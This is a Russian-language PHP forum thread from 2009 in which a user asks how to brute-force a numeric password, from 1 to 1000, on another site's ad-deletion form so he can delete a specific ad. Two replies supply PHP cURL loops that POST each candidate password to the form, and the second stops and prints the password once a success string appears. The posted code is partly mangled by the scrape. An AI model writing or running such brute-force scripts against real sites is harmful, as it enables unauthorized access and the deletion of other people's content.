Помогите зациклить POST.

Тема в разделе "PHP", создана пользователем rom4art2, 6 окт 2009.

Статус темы:
Закрыта.
Модераторы: latteo
  1. rom4art2

    rom4art2

    Регистр.:
    27 фев 2009
    Сообщения:
    223
    Симпатии:
    113
    Парни помогите сделать цикл, что бы взломать некий маленький пароль.:-]
    В общев смотрите, вот сама форма удаления:

    "ads_id" - у меня есть. (например 32134)
    "password" - у меня нет:confused: (но я знаю что это число в пределе от 1 до 1000)
    Поможет кто кодом? Думаю надо зациклить отправку формы на 1000 раз, и в цикле менять "password".
    вроде все просто, но у меня не получается.
    :thenks:
     
    Grizzli нравится это.
  2. _axl

    _axl Постоялец

    Регистр.:
    24 сен 2008
    Сообщения:
    50
    Симпатии:
    8
    Вот здесь есть post на php : Перейти по ссылке . Разберешься - сделаешь, нет, значит не судьба.
     
    rom4art2 нравится это.
  3. Disher

    Disher Постоялец

    Регистр.:
    25 июл 2009
    Сообщения:
    90
    Симпатии:
    8
    PHP:
    <?php

    for( $password_counter 1$password_counter 1000$password_counter++ ) { 
     
    $ch curl_init('http://site.com/command.php');
     
    curl_setopt ($chCURLOPT_POST1);
     
    curl_setopt ($chCURLOPT_POSTFIELDS"cmd=del_ads&ads_id=32134&password=$password_counter");
     
    curl_exec ($ch);
     
    curl_close ($ch);
    }

    ?>
     
    rom4art2 нравится это.
  4. alexseo

    alexseo Постоялец

    Регистр.:
    27 июн 2007
    Сообщения:
    88
    Симпатии:
    2
    только вот нада еще условие дописать
    вдруг пароль правильный и остановиться нада
     
  5. Grizzli

    Grizzli Писатель

    Регистр.:
    27 дек 2006
    Сообщения:
    4
    Симпатии:
    0
    PHP:
      <?php

    for( $password_counter 1$password_counter 1000$password_counter++ ) { 
     
    $ch curl_init('http://site.com/command.php');
     
    curl_setopt ($chCURLOPT_POST1);
     
    curl_setopt ($chCURLOPT_POSTFIELDS"cmd=del_ads&ads_id=32134&password=$password_counter");
     
    $result curl_exec ($ch);
     
    curl_close ($ch);
    if(
    strpos($result,'строка появляющаяся в исходном коде сайта после успешного логина') !== false){
    print 
    $password_counter;
    break;
    }
    }

    ?> 
     
Статус темы:
Закрыта.